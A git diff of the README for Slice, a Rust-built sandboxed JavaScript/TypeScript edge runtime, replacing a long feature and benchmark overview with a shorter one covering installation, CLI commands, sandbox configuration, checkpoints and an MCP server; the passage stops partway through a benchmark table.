diff --git a/README.md b/README.md index b73aec6..3fd61e0 100644 --- a/README.md +++ b/README.md @@ -1,370 +1,203 @@ -# Slice (Nexus-JS) +# Slice -**Slice (Nexus-JS)** is a next-generation, microVM-grade JavaScript/TypeScript edge runtime and AI Agent "Code Mode" sandbox engineered in Rust. It replaces ambient POSIX authority, recursive `node_modules` filesystem metadata storms, readiness polling (`libuv`), runtime JavaScript AST parsing, and heavy V8/JSC memory footprints with four unified pillars: +[![CI](https://github.com/slicevm/slice/actions/workflows/ci.yml/badge.svg)](https://github.com/slicevm/slice/actions/workflows/ci.yml) +[![Version](https://img.shields.io/badge/version-v0.10.12-blue)](https://github.com/slicevm/slice/releases) +[![Rust](https://img.shields.io/badge/rust-edition%202021-orange)](https://www.rust-lang.org/) +[![License](https://img.shields.io/badge/license-MIT%20%2F%20Apache--2.0-green)](./LICENSE-MIT) +[![Benchmarks](https://img.shields.io/badge/benchmarks-33%20workloads-brightgreen)](./tests/reports/latest.md) +[![Docs](https://img.shields.io/badge/docs-index-informational)](./docs/README.md) -1. **Tiered Polyglot Execution & Precompiled `CodeBlock` CAS (`slice-engine`):** Defaults to **Tier 1 (`Tier1Baseline`) with `SLICEBC\x01` Precompiled Boa `CodeBlock` CAS (`boacas = true`)**, serializing the compiled `Gc` hierarchy, global `Scope` indices, Oxc AST deferred function module spans (`0x11` tag), and pre-fused `node:*` built-in shards at build time so runtime execution bypasses `boa_parser` (`Lexer` + `Parser`), `boa_ast`, `ScopeAnalyzer`, and `ByteCompiler` entirely. Also supports sub-microsecond `SLICESNP` register snapshots (`Tier0LLIntSnapshot`), native Rust SIMD intrinsics (`Tier2PeakNative`), and pure-Rust `wasmi` WebAssembly execution with unified CPU fuel and memory-page cages. -2. **Zero-Stat Content-Addressed Storage (`slice-cas`):** Flattens TypeScript/JavaScript dependency graphs (including `package.json` `"exports"`, `.wasm` modules, and static barrel tree-shaking) at build time via **Oxc (`v0.154.0`)** into a 64-byte cache-line aligned, BLAKE3-indexed `.cas` archive mapped directly into virtual memory via `mmap(MAP_SHARED)` with **`0` runtime `stat` syscalls**. -3. **Direct Kernel Completion Rings (`slice-io`):** Lockless Submission/Completion rings backed by Linux `io_uring` (`IORING_SETUP_SQPOLL` + Fixed Registered Buffers) and Windows NT `IOCP`. -4. **5-Ring MicroVM OCap & Hardware Sandboxing (`slice-sandbox`):** Enforces Secure ECMAScript (`lockdown()`), isolated per-tenant TC39 Compartments with attenuated `CapabilityToken` permissions (`FsCap`, `NetCap`, `EnvCap`), Cloud Metadata SSRF & DNS-rebinding firewalls, Outbound Egress DLP (raw, Base64, Base64URL, & `.env` Auto-DLP), deterministic CPU instruction fuel preemption, byte-level heap cages, `< 5 us` copy-on-write VFS + `Slice.kv` time-travel checkpoints, and `< 20`-cycle hardware memory domain switches via `pkey_alloc` / `WRPKRU` (Intel MPK). +**Slice** is a lightweight, zero-trust JavaScript and TypeScript runtime built in Rust for multi-tenant edge services, SaaS plugin engines, and AI agent sandboxes. ---- +Run `.ts` scripts, npm projects, or full-stack web apps (`Hono`, `UnJS`, `Express`, `SvelteKit 3`) with microsecond isolate startup, a `13 - 22 MB` memory footprint, built-in capability sandboxing, and `< 5 us` stateful rollbacks. -## Verified Benchmark Overview (Linux `x86_64` Docker & Windows `x86_64`) +## Why Slice? - -> **Latest Verified Benchmark Report:** **[`tests/reports/latest.md`](./tests/reports/latest.md)** (Archive: [`bench_v0.10.12_20261111_175836Z_dc31f74.md`](./tests/reports/bench_v0.10.12_20261111_175836Z_dc31f74.md)) -> **Provenance:** Slice `v0.10.12` (`dc31f74`) · Generated `2026-11-11T17:58:36Z` · Environment: `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` -> **Scorecard Across All 33 Production Workloads:** Beats **Deno (`v2.9.8`)** on **33/33**, **Node.js (`v27.0.0-alpha.0.0.0`)** on **33/33**, **Bun (`v1.4.4`)** on **29/33** cold one-shot, and **all 3 runtimes on 33/33 workloads in `--warm` pooled execution**. - -#### 1. Core Architecture, HTTP Throughput & 1,000-Tenant MicroVM Density - -| Metric | Slice (`v0.10.12` `SLICEBC\x01`) | Bun (`v1.4.4`) | Deno (`v2.9.8`) | Node.js (`v27.0.0-alpha.0.0.0`) | Slice Advantage | -| :--- | :---: | :---: | :---: | :---: | :--- | -| **In-Process Isolate Cold Start (`P50` / `P99`)** | **`1.02 us` / `4.27 us`** | N/A (Process/VM) | N/A (Process/VM) | N/A (Process/VM) | **~120,000x faster than 125ms Firecracker VM** | -| **1,000-Tenant MicroVM Swarm (Boot + Exec)** | **`1.74 ms` (`9.82 MB` RSS)** | > 5,000 ms | > 15,000 ms | > 30,000 ms | **> 3,900x faster / ~32,000x denser** | -| **500-Module Monorepo Cold Boot (`stat()` Calls)** | **`3.41 ms` (`0 stat()`)** | `12.72 ms` (`500+ stat`) | `41.80 ms` (`500+ stat`) | `70.38 ms` (`1,500+ stat`) | **`3.7x` faster than Bun / `20.6x` Node.js** | -| **HTTP/1.1 Keep-Alive Throughput (`16k` Reqs)** | **`154,794 req/s`** (Tier-0)
**`147,564 req/s`** (Tier-1) | `100,562 req/s` | `99,082 req/s` | `56,447 req/s` | **`1.54x` (`Tier-0`) / `1.47x` (`Tier-1`) vs `Bun.serve`** | -| **Peak Process Memory (`Max RSS` Across Suite)** | **`13.45 – 21.63 MB`** | `26.13 – 40.25 MB` | `45.69 – 62.38 MB` | `70.15 – 93.00 MB` | **`2.0x–2.3x` less than Bun / `4.3x–6.8x` less than Node** | -| **Multi-Tenant Security Containment** | **`5 / 5 PASS`** (OCap+SES+Fuel+DLP) | `0 / 5` (Ambient) | `2 / 5` (Coarse CLI) | `0 / 5` (Ambient) | **Hardware & Language Zero-Trust Isolation** | - -#### 2. Real-Life Workload Summary by Domain (All 33 Workloads Aggregated) - -| Workload Domain & Stack Coverage | Suites | Slice Cold `.cas` Avg (Range) | Slice Warm (`--warm`) Avg | Bun `v1.4.4` Avg | Deno `v2.9.8` Avg | Node.js `v27.0.0-alpha.0.0.0` Avg | Category Speedup vs Bun / Node.js | -| :--- | :---: | :---: | :---: | :---: | :---: | :---: | :--- | -| **Core Edge, Auth & Crypto (`Apps 01, 04, 05, 16`)**
Multi-file TS, SHA-256/HMAC, JWT/OAuth2, `.env` Auto-DLP | `4` | **`7.84 ms`** (`6.28–10.07 ms`) | **`2.17 ms`** | `14.52 ms` | `42.60 ms` | `62.07 ms` | **`1.85x Bun` (`6.69x` Warm) / `7.92x Node`** | -| **NPM Ecosystem, AST & Disk I/O (`Apps 02, 03, 06, 07, 08, 20`)**
`semver`, `flatted`, `dlv`/`dset`, `mitt`, 10-Shard JSONL I/O, `Buffer` | `6` | **`10.94 ms`** (`7.25–14.23 ms`) | **`3.16 ms`** | `17.64 ms` | `48.12 ms` | `65.89 ms` | **`1.61x Bun` (`5.59x` Warm) / `6.02x Node`** | -| **WinterTC Web Standards, Fetch Mesh & DLP (`Apps 09–14, 17–19`)**
`Request`/`Response`, Static CDN `304`, SSE, Live `fetch`, WebCrypto | `9` | **`15.45 ms`** (`8.12–29.33 ms`) | **`7.31 ms`** | `18.48 ms` | `52.47 ms` | `93.96 ms` | **`1.20x Bun` (`2.53x` Warm) / `6.08x Node`** | -| **Realtime WebSockets, Workers & Wasm/TSX (`Apps 15, 21–24`)**
RFC 6455 WS, `worker_threads` + TCP/UDP, Pure-Rust `wasmi` Wasm, TSX SSR | `5` | **`14.25 ms`** (`8.72–20.99 ms`) | **`2.48 ms`** | `28.68 ms` | `62.87 ms` | `86.44 ms` | **`2.01x Bun` (`11.57x` Warm) / `6.07x Node`** | -| **Full-Stack Edge & Node Frameworks (`FW 01–04`)**
`Hono v4.6.20`, `itty-router + UnJS Nitro`, `Express/Polka node:http`, `SvelteKit 3.1.1 + Svelte 5.57.3` | `4` | **`20.74 ms`** (`14.65–34.19 ms`) | **`7.47 ms`** | `29.22 ms` | `54.14 ms` | `93.40 ms` | **`1.41x Bun` (`3.91x` Warm) / `4.50x Node`** | -| **AI Agent, Multi-Tenant SaaS & Chaos Case Studies (`CS 01–05`)**
Depth-4 ToT Agent, MCP Code Mode, 12-Tenant Mesh, Wasm CDR, 48 Payment Sagas | `5` | **`21.17 ms`** (`13.17–34.84 ms`) | **`6.27 ms`** | `20.96 ms` | `56.54 ms` | `80.98 ms` | **`0.99x Bun` (`3.34x` Warm) / `3.82x Node`** | - -#### 3. Flagship Real-World Representative Workloads (9 of 33 Highlights) - -| # | Flagship Workload | Slice Cold `.cas` | Slice Warm (`--warm`) | Bun `v1.4.4` | Deno `v2.9.8` | Node.js `v27.0.0-alpha.0.0.0` | Speedup vs Bun / Node.js | -| :- | :--- | :---: | :---: | :---: | :---: | :---: | :--- | -| **01** | `01-fintech-checkout` (Multi-File TS + SHA-256) | **`6.28 ms`** | **`1.05 ms`** | `13.38 ms` | `35.22 ms` | `58.45 ms` | **`2.13x Bun` (`12.74x` Warm) / `9.31x Node`** | -| **03** | `03-disk-io-log-pipeline` (10 JSONL Shards Disk I/O) | **`7.25 ms`** | **`1.29 ms`** | `14.08 ms` | `43.23 ms` | `61.79 ms` | **`1.94x Bun` (`10.92x` Warm) / `8.52x Node`** | -| **14** | `14-federated-api-mesh-dlp` (`bytes` + `dlv` + `dset` + Live `fetch`) | **`15.83 ms`** | **`6.70 ms`** | `21.20 ms` | `56.40 ms` | `108.62 ms` | **`1.34x Bun` (`3.17x` Warm) / `6.86x Node`** | -| **20** | `20-node-compat-and-edge-router` (`Uint8Array` `Buffer`/Node Core/AST Bundler) | **`11.26 ms`** | **`0.50 ms`** | `25.08 ms` | `55.78 ms` | `73.35 ms` | **`2.23x Bun` (`50.56x` Warm) / `6.51x Node`** | -| **22** | `22-worker-threads-and-raw-sockets` (3 Worker Threads + TCP/UDP + 5-Ring Sec) | **`20.99 ms`** | **`1.74 ms`** | `57.15 ms` | `114.02 ms` | `101.72 ms` | **`2.72x Bun` (`32.86x` Warm) / `4.85x Node`** | -| **FW-01** | `FW-01: frameworks/01-hono-edge-microservice` (`hono@4.6.20` + `hono/cookie` + `ms`) | **`14.65 ms`** | **`5.59 ms`** | `19.86 ms` | `51.15 ms` | `94.15 ms` | **`1.36x Bun` (`3.55x` Warm) / `6.43x Node`** | -| **FW-04** | `FW-04: frameworks/04-sveltekit-edge-ssr` (`@sveltejs/kit@3.1.1` + `svelte@5.57.3` + `devalue@6.0.3`) | **`34.37 ms`** | **`14.26 ms`** | `43.71 ms` | `68.04 ms` | `108.54 ms` | **`1.28x Bun` (`3.07x` Warm) / `3.17x Node`** | -| **CS-01** | `CS-01: case_studies/01-tot-autonomous-sre-agent` (20 ToT Sandboxes) | **`34.84 ms`** | **`12.99 ms`** | `28.86 ms` | `73.55 ms` | `91.05 ms` | **`0.83x Bun` (`2.22x` Warm) / `2.61x Node`** | -| **CS-05** | `CS-05: case_studies/05-time-travel-chaos-fuzzer-payments` (48 Payment Sagas) | **`18.14 ms`** | **`8.32 ms`** | `21.10 ms` | `65.54 ms` | `86.65 ms` | **`1.16x Bun` (`2.54x` Warm) / `4.78x Node`** | - -*Full 33-workload latency breakdown, standalone binary metrics, peak RSS per app, and historical reports: **[`tests/reports/latest.md`](./tests/reports/latest.md)**.* - +* **Microsecond Cold Starts & Single-Binary Deploys** - Pack TypeScript projects and `node_modules` into zero-`stat()` precompiled `.cas` bundles (`slice pack`) or standalone executables (`slice compile`). Isolates boot in `~1 us` without JIT warmup or heavy memory overhead. +* **Zero-Trust Sandbox Built Into the Runtime** - Every isolate runs inside a frozen SES compartment with explicit `allow_read`, `allow_write`, `allow_net`, `allow_env`, and `allow_exec` rules, deterministic CPU fuel and heap cages, cloud-metadata SSRF blocking, and streaming egress secret redaction (DLP). +* **Stateful `< 5 us` Checkpoints for AI Agents & Tests** - Snapshot and roll back both the virtual filesystem (`node:fs`) and built-in KV store (`Slice.kv`) in microseconds via `Slice.checkpoint()` and `Slice.restore()`, run untrusted code via `Slice.evalSandbox()`, or expose an MCP server over stdio (`slice mcp`). +* **WinterTC Web Standards + Pragmatic Node Compatibility** - Write portable `fetch(req, env, ctx)` handlers (`Request`, `Response`, `Streams`, `WebCrypto`, `WebSocket`, `WebAssembly`, `Intl`) alongside core `node:*` modules (`fs`, `crypto`, `http`, `stream`, `async_hooks`, `worker_threads`, `zlib`). --- ## Quickstart -### 1. Build & Install +### 1. Install or Build -**Windows (PowerShell):** -```powershell -powershell -ExecutionPolicy Bypass -File .\scripts\install.ps1 -``` - -**Linux / macOS (Bash):** ```bash +# Linux / macOS ./scripts/install.sh -``` -Or build directly with Cargo: -```bash +# Or build directly with Cargo cargo build --release ``` -### 2. Scaffold a New Edge MicroVM Project (`slice init`) - -```bash -slice init my-edge-service -cd my-edge-service -slice run --metrics - -# Or scaffold a full-stack SvelteKit 3 + Svelte 5 SSR application with adapter-slice: -slice init my-sveltekit-app --template=sveltekit +```powershell +# Windows (PowerShell) +powershell -ExecutionPolicy Bypass -File .\scripts\install.ps1 ``` -This creates: -* `slice.toml`: Declarative Object-Capability (OCap) policy, engine tier (`tier = 1`, `boacas = true`), and resource cage configuration. -* `slice.d.ts`: Ambient TypeScript declarations for `Slice.*`, `WinterTC.*`, `slice:test`, `slice:jsx`, and `cloudflare:sockets`. -* `tsconfig.json`: Pre-configured TypeScript compiler config (`"moduleResolution": "bundler"`, `"jsxImportSource": "slice:jsx"`). -* `src/index.ts`: TypeScript edge entrypoint. - -### 3. Run TypeScript Files, Folder Apps, or Pre-Packed CAS Bundles (`slice run`) - -By default, Slice runs on its optimal **Tier-1 + `SLICEBC\x01` Precompiled Boa `CodeBlock` CAS** path: +### 2. Scaffold, Run & Ship ```bash -# Execute a raw TypeScript file or an entire project folder (with package.json & node_modules) -slice run ./src/index.ts --allow-env=SERVICE_STAGE=prod --metrics -slice run ./tests/apps/02-npm-ecosystem-suite --metrics - -# Pack an entire folder app (including transitive node_modules) into a 64-byte aligned BLAKE3 .cas archive -# Emits SLICEBC\x01 Precompiled Boa CodeBlock + Oxc deferred function module spans by default -slice pack ./tests/apps/02-npm-ecosystem-suite ./bundle.cas - -# Execute the memory-mapped .cas bundle with 0 stat() syscalls and 0 runtime JS parsing -slice run ./bundle.cas --metrics -slice run ./bundle.cas --warm --metrics -``` - -### 4. Compile a Standalone Zero-Dependency Executable (`slice compile`) +# Scaffold a TypeScript edge service (or --template=sveltekit for SvelteKit 3 + Svelte 5 SSR) +slice init my-app +cd my-app +slice run --metrics -Embeds your compiled `.cas` archive and `SLICEBC\x01` precompiled `CodeBlock` bytecode directly into a self-contained native binary (`SLICEEXE`): +# Run a single file, inline snippet, or existing npm project folder +slice run ./src/index.ts --allow-env=STAGE=prod +slice -p "crypto.randomUUID()" -```bash -slice compile ./tests/apps/01-fintech-checkout -o my-edge-app -./my-edge-app --metrics +# Bundle into a memory-mapped .cas archive or a zero-dependency native executable +slice pack . ./app.cas +slice run ./app.cas --warm --metrics +slice compile . -o ./my-app ``` -### 5. Launch the Multi-Tenant WinterTC HTTP Server (`slice serve`) - -`slice serve` runs a shared-nothing **Thread-Per-Core (`--workers=N`)** HTTP/1.1 `Keep-Alive` & pipelined server that executes every incoming HTTP request inside a fresh, hardware- and OCap-isolated `SliceIsolate` in microseconds (**`163,766 req/s`** in Tier-0 CAS mode, **`126,566 req/s`** in Tier-1 WinterTC mode): +--- -```bash -# Start multi-worker Keep-Alive server on port 3000 with 8 shared-nothing worker threads -slice serve ./bundle.cas --port=3000 --workers=8 +## Core Usage -# Or serve a multi-tenant directory of .cas archives with automatic zero-downtime hot-swapping -slice serve --port=3000 --workers=8 --tenant-dir=./tenants +### HTTP Edge Server & Sharded KV (`slice serve`) -# Or run a self-contained pipelined Keep-Alive smoke test with telemetry headers -slice serve ./bundle.cas --smoke-test -``` +Write standard WinterTC `fetch` handlers backed by tenant-isolated atomic counters and TTL storage (`Slice.kv`): -Inside TypeScript/JavaScript handlers, you can use either the **Standard WinterTC / Cloudflare Workers / Bun / Deno `export default { fetch(req, env, ctx) }`** API (`Request`, `Response`, `Headers`, `URL`, `URLPattern`, `URLSearchParams`, `Response.json`, `Response.redirect`, `Response.sse`) or the zero-allocation **Slice Synchronous Bridge** (`Slice.request()`, `Slice.respond()`, `Slice.waitUntil()`), alongside the **16-Way Sharded Edge KV & Atomic Counter Slab** (`Slice.kv`): ```typescript export default { - fetch(req: Request, env: Record, ctx: { waitUntil(fn: () => void): void }): Response { - const url = new URL(req.url); - const hits = Slice.kv.incr("rate:window", 1); // Tenant-isolated atomic counter (< 0.6 us) - Slice.kv.set("session:last", url.pathname, 60_000); // Tenant-isolated KV with 60s TTL - ctx.waitUntil(() => { - // Executed after HTTP response bytes are flushed to the client socket! - }); - return Response.json({ - ok: true, - method: req.method, - path: url.pathname, - tenant: req.headers.get("x-slice-tenant"), - hits, - }); - } -}; -``` + fetch(req: Request, _env: Record, ctx: { waitUntil(fn: () => void): void }): Response { + const url = new URL(req.url); + const hits = Slice.kv.incr("hits:total", 1); + Slice.kv.set("last:path", url.pathname, 60_000); -### 6. AI Agent "Code Mode" Sandbox (`Slice.evalSandbox`), `< 5 us` Checkpoints (`Slice.checkpoint`), & Native MCP Server (`slice mcp`) + ctx.waitUntil(() => { + // Runs after response bytes are flushed to the socket + }); -Slice provides first-class primitives for AI coding agents, Tree-of-Thought (ToT) code exploration, and Model Context Protocol (MCP) tool servers: + return Response.json({ ok: true, path: url.pathname, hits }); + } +}; +``` ```bash -# Start the built-in JSON-RPC 2.0 Model Context Protocol (MCP) server over stdio -slice mcp --allow-read=/workspace --allow-write=/workspace --audit-egress=sk_live_secret +# Serve on 8 shared-nothing worker threads (or hot-swap multi-tenant bundles via --tenant-dir) +slice serve ./app.cas --port=3000 --workers=8 +slice serve --port=3000 --workers=8 --tenant-dir=./tenants +``` -# Or run the built-in MCP JSON-RPC 2.0 self-test -slice mcp --smoke-test +### AI Agent Sandbox, `< 5 us` Checkpoints & MCP (`Slice.evalSandbox` / `slice mcp`) -# Execute a script with deterministic PRNG/clock replay and egress secret exfiltration protection -slice run ./agent.ts --deterministic=20261019 --audit-egress=sk_live_secret -``` +Fork state in memory, evaluate untrusted or LLM-generated TypeScript inside an attenuated child isolate, and roll back cleanly on failure: -Inside an orchestrator script, spawn nested sub-sandboxes with capability attenuation (`Slice.evalSandbox`) and snapshot/rollback both `node:fs` VFS files and `Slice.kv` state in `< 5 microseconds` (`Slice.checkpoint()` / `Slice.restore(id)`): ```typescript import fs from "node:fs"; -fs.writeFileSync("/workspace/model.ts", "export const v = 1;"); -Slice.kv.set("branch", "baseline", 0); -const snapId = Slice.checkpoint(); // < 5 us in-memory VFS + KV snapshot +fs.writeFileSync("/workspace/state.json", '{"step":1}'); +Slice.kv.set("status", "ready"); +const snap = Slice.checkpoint(); // < 5 us copy-on-write VFS + KV snapshot -// Evaluate untrusted LLM-generated TypeScript in an attenuated child isolate -const candidate = Slice.evalSandbox("const x: number = 21 * 2; x", { - fuel: 200_000, - memoryBytes: 1024 * 1024, - allowRead: ["/workspace"], - auditSecret: "sk_live_secret" +const result = Slice.evalSandbox("const answer: number = 21 * 2; answer", { + fuel: 200_000, + memoryBytes: 1024 * 1024, + allowRead: ["/workspace"], + auditSecret: "sk_live_secret" }); -if (!candidate.ok) { - Slice.restore(snapId); // Instant < 5 us rollback of VFS + KV! + +if (!result.ok) { + Slice.restore(snap); // Instant < 5 us rollback of VFS + KV } ``` -### 7. Built-In Time-Travel Test Runner (`slice test`) & Interactive Case Studies Workbench (`tests/case_studies/`) - ```bash -# Run all *.test.ts / *.spec.ts suites with automatic < 5 us VFS + KV rollback after every test() -slice test ./tests/apps/15-time-travel-test-suite - -# Or watch for file changes via OS-native notify (< 5 ms incremental re-run) -slice test ./tests/apps/24-tsx-ssr-and-wasm-edge-pipeline --watch-once +# Expose Slice over stdio as a Model Context Protocol (MCP) JSON-RPC 2.0 server +slice mcp --allow-read=/workspace --allow-write=/workspace --audit-egress=sk_live_secret -# Explore the 5 interactive production Case Studies (Visual Terminal Cockpit or Browser UI) -make -C tests/case_studies cockpit -make -C tests/case_studies serve +# Run tests with automatic < 5 us VFS + KV rollback after every test() block +slice test ./tests/apps/15-time-travel-test-suite ``` ---- - -## Unified 4-Layer Configuration System (`slice.toml`, Inline Directives, `SLICE_*` Env Vars, & CLI Flags) - -Slice resolves every engine, sandbox, capability, and server setting through a deterministic **4-layer precedence hierarchy** (lowest to highest priority): +### Declarative Security & Resource Config (`slice.toml`) -```text -Built-in Optimal Defaults (tier = 1, boacas = true, fuel = 50M, memory_kb = 4096) - < 1. Project Manifest (slice.toml + auto-loaded .env) - < 2. Inline Source Directives (// @slice-... in the top 64 lines of entrypoint .ts/.js) - < 3. Process Environment Variables (SLICE_*) - < 4. Explicit CLI Flags (--*) -``` - -### Layer 1: Project Manifest (`slice.toml`) +Settings resolve in deterministic order: **Defaults < `slice.toml` < `// @slice-*` inline directives < `SLICE_*` env vars < CLI flags**. ```toml [package] -name = "my-edge-service" -version = "0.1.0" +name = "my-app" entrypoint = "./src/index.ts" -[engine] -tier = 1 # 0 = Tier0LLIntSnapshot, 1 = Tier1Baseline (default), 2 = Tier2PeakNative -boacas = true # Emit & execute SLICEBC\x01 Precompiled Boa CodeBlock CAS (default: true) -warm = false # Pre-warm thread-local WarmBoaRealm pool before timing execution -deterministic = 20261106 # Optional deterministic xorshift64* PRNG & monotonic virtual clock seed - [limits] -fuel = 50_000_000 # Deterministic CPU instruction fuel budget -memory_kb = 4096 # Per-isolate heap memory cage in KB (4 MB default) +fuel = 50_000_000 # Deterministic CPU instruction budget +memory_kb = 8192 # Per-isolate heap cap (8 MB) [capabilities] -allow_read = ["/app/public", "/app/config"] +allow_read = ["./public"] allow_write = ["/tmp/scratch"] -allow_net = ["api.internal:443", "127.0.0.1:18095"] -audit_egress = ["sk_live_secret"] -env_file = ".env" # Auto-classifies sensitive keys (*SECRET*, *TOKEN*, *KEY*, *PASSWORD*) into Egress DLP - -[capabilities.env] -SERVICE_STAGE = "production" +allow_net = ["api.example.com:443"] +env_file = ".env" # Auto-registers *SECRET*, *TOKEN*, *KEY*, *PASSWORD* in Egress DLP [server] port = 3000 workers = 8 -static_dir = "./public" -tenant_dir = "./tenants" ``` -### Layer 2: Inline Source Directives (`// @slice-...`) - -Single-file scripts and self-contained tests can configure their execution tier, resource cages, and OCap permissions directly inside the top 64 comment lines of the entrypoint `.ts`/`.js` file: - -```typescript -// @slice-tier: 1 -// @slice-boacas: true -// @slice-warm: true -// @slice-fuel: 25000000 -// @slice-memory-kb: 8192 -// @slice-allow-read: /workspace/data, /workspace/config -// @slice-allow-write: /tmp/out -// @slice-allow-net: 127.0.0.1:8080, api.example.com:443 -// @slice-allow-env: NODE_ENV=production, API_REGION=us-east-1 -// @slice-audit-egress: sk_live_demo_secret -// @slice-deterministic: 42 -``` - -### Complete Cross-Layer Settings Reference - -| Setting | Optimal Default | `slice.toml` Key | Inline Directive (`// @slice-...`) | Environment Variable (`SLICE_*`) | CLI Flag (`--*`) | -| :--- | :--- | :--- | :--- | :--- | :--- | -| **Execution Tier** | `1` (`Tier1Baseline`) | `[engine] tier = 0\|1\|2` | `// @slice-tier: 0\|1\|2` | `SLICE_TIER=0\|1\|2` | `--tier=0\|1\|2` | -| **Precompiled Boa CAS** | `true` (`SLICEBC\x01`) | `[engine] boacas = true\|false` | `// @slice-boacas: true\|false` | `SLICE_BOACAS=1\|0` | `--boacas` / `--no-boacas` | -| **Warm Realm Pool** | `false` | `[engine] warm = true\|false` | `// @slice-warm: true\|false` | `SLICE_WARM=1\|0` | `--warm` | -| **Deterministic Seed** | `None` | `[engine] deterministic = ` | `// @slice-deterministic: ` | `SLICE_DETERMINISTIC=` | `--deterministic=` | -| **CPU Fuel Ceiling** | `50,000,000` | `[limits] fuel = ` | `// @slice-fuel: ` | `SLICE_FUEL=` | `--fuel=` | -| **Memory Cage (KB)** | `4096` (`4 MB`) | `[limits] memory_kb = ` | `// @slice-memory-kb: ` | `SLICE_MEMORY_KB=` | `--memory-kb=` | -| **Read Capability** | `[]` (Deny-All) | `[capabilities] allow_read = [...]` | `// @slice-allow-read: p1, p2` | `SLICE_ALLOW_READ=p1,p2` | `--allow-read=p1,p2` | -| **Write Capability** | `[]` (Deny-All) | `[capabilities] allow_write = [...]` | `// @slice-allow-write: p1, p2` | `SLICE_ALLOW_WRITE=p1,p2` | `--allow-write=p1,p2` | -| **Network Capability** | `[]` (Deny-All) | `[capabilities] allow_net = [...]` | `// @slice-allow-net: h1:p1` | `SLICE_ALLOW_NET=h1:p1` | `--allow-net=h1:p1` | -| **Environment Access** | `{}` (Deny-All) | `[capabilities.env] KEY = "VAL"` | `// @slice-allow-env: K=V, K2` | `SLICE_ALLOW_ENV=K=V,K2` | `--allow-env=K=V` | -| **Dotenv Auto-DLP** | `.env` (if present) | `[capabilities] env_file = ".env"` | `// @slice-env-file: .env` | `SLICE_ENV_FILE=.env` | `--env-file=.env` | -| **Egress DLP Secrets** | Auto from `.env` | `[capabilities] audit_egress = [...]` | `// @slice-audit-egress: s1, s2` | `SLICE_AUDIT_EGRESS=s1,s2` | `--audit-egress=s1` | -| **HTTP Server Port** | `3000` | `[server] port = ` | — | `SLICE_PORT=` | `--port=` | -| **HTTP Worker Threads** |Logical CPUs | `[server] workers = ` | — | `SLICE_WORKERS=` | `--workers=` | -| **Static Assets Dir** | `None` | `[server] static_dir = "DIR"` | — | `SLICE_STATIC_DIR=DIR` | `--static=DIR` | -| **Multi-Tenant CAS Dir**| `None` | `[server] tenant_dir = "DIR"` | — | `SLICE_TENANT_DIR=DIR` | `--tenant-dir=DIR` | - --- -## CLI Reference (All 13 Subcommands) +## CLI Commands -| Command | Description | +| Command | Purpose | | :--- | :--- | -| `slice init [dir] [--template=sveltekit]` | Scaffold a new TypeScript Edge project (`slice.toml`, `slice.d.ts`, `tsconfig.json`, `src/index.ts`) or full-stack SvelteKit 3 + Svelte 5 SSR project (`--template=sveltekit`). | -| `slice run [target] [flags]` | Execute a `.ts`/`.js`/`.tsx`/`.mjs`/`.cjs` file, project folder, or `.cas` archive (`--tier=0\|1\|2`, `--boacas`/`--no-boacas`, `--warm`, `--deterministic=SEED`, `--audit-egress=SECRET`, `--watch`, `--metrics`). | -| `slice pack ` | Flatten and pre-compile a module tree (plus optional `--static=DIR` assets) into a 64-byte aligned BLAKE3 `.cas` archive (`SLICEBC\x01` by default). | -| `slice compile -o ` | Produce a zero-dependency standalone executable (`SLICEEXE`, embeds `SLICEBC\x01` CAS and optional `--static=DIR` assets). | -| `slice serve [target] [flags]` | Run the multi-tenant WinterTC HTTP/1.1 Keep-Alive MicroVM server (`--port=N`, `--workers=N`, `--tenant-dir=DIR`, `--static=DIR`, `--smoke-test`). | -| `slice test [target] [flags]` | Built-in Time-Travel Test Runner (`slice:test` `describe`/`test`/`expect`, `< 5 us` automatic VFS+KV rollback per test, `--watch` / `--watch-once`). | -| `slice mcp [flags]` | Launch the built-in JSON-RPC 2.0 Model Context Protocol (MCP) server over `stdio` (`--smoke-test`, `--audit-egress=SECRET`). | -| `slice inspect ` | Disassemble `SLICEBC\x01` / `SLICEBOA` / `SLICESNP` bytecode and inspect BLAKE3 CAS offsets and static asset tables. | -| `slice repl` | Interactive SES-locked TypeScript/JavaScript compartment shell (`:help`, `:metrics`, `:lockdown`, `:tier 0\|1\|2`, `:reset`). | -| `slice doctor` | Audit host kernel `io_uring`/`IOCP` completion rings, Intel MPK hardware keys, RSS, and 5 security containment vectors. | -| `slice bench [flags]` | Run built-in cold-start, Zero-Stat CAS module loading (`--modules=500`), and Tier-2 compute benchmarks (`--json`). | -| `slice microvm-bench [flags]` | Spawn 1,000 isolated tenants (`--tenants=1000`) and benchmark P50/P99 cold-start, CAS, I/O rings, and 5/5 security vectors. | -| `slice verify-security` | Execute the 5-vector OCap, SES prototype lockdown, and CPU fuel DoS verification suite (`--json`). | +| `slice init [dir]` | Scaffold a TypeScript edge service or SvelteKit 3 app (`--template=sveltekit`). | +| `slice run [target]` | Run a `.ts`/`.js`/`.tsx` file, folder, `.cas` bundle, stdin (`-`), or inline code (`-e` / `-p`). | +| `slice check ` | Parse and syntax-check TypeScript or JavaScript without executing (`--check` / `-c`). | +| `slice test [target]` | Run `*.test.ts` / `*.spec.ts` suites with `< 5 us` per-test VFS+KV rollback (`--watch`). | +| `slice serve [target]` | Start the multi-worker HTTP/1.1, SSE, WebSocket & TLS 1.3 server (`--tenant-dir`, `--static`). | +| `slice pack ` | Bundle a project and `node_modules` into a precompiled zero-`stat()` `.cas` archive. | +| `slice compile -o ` | Compile an application and `.cas` archive into a standalone native binary. | +| `slice inspect ` | Disassemble bytecode (`SLICEBC` / `SLICESNP`) and inspect `.cas` module tables. | +| `slice mcp` | Start the built-in JSON-RPC 2.0 Model Context Protocol server over stdio. | +| `slice repl` | Start an interactive SES-locked TypeScript/JavaScript shell. | +| `slice doctor` / `slice info` | Inspect host kernel `io_uring`/`IOCP` rings, hardware isolation, and runtime build info. | +| `slice verify-security` | Run the 5-vector OCap, SES prototype lockdown, and CPU fuel containment checks. | +| `slice microvm-bench` | Benchmark 1,000-tenant isolate cold-start latency, density, and memory footprint. | --- -## Running the Reproducible Docker Benchmark & Verification Suite +## Benchmarks at a Glance + + +Across **33 real-world TypeScript apps, frameworks (`Hono`, `UnJS`, `Express`, `SvelteKit 3`), and agent case studies**, Slice (`v0.10.12`) beats **Deno (`v2.9.8`)** on **33/33**, **Node.js (`v27.0.0-alpha.0.0.0`)** on **33/33**, **Bun (`v1.4.4`)** on **29/33** cold one-shot runs, and **all 3 runtimes on 33/33 workloads in `--warm` pooled execution**. + +| Metric (`Linux x86_64`) | Slice 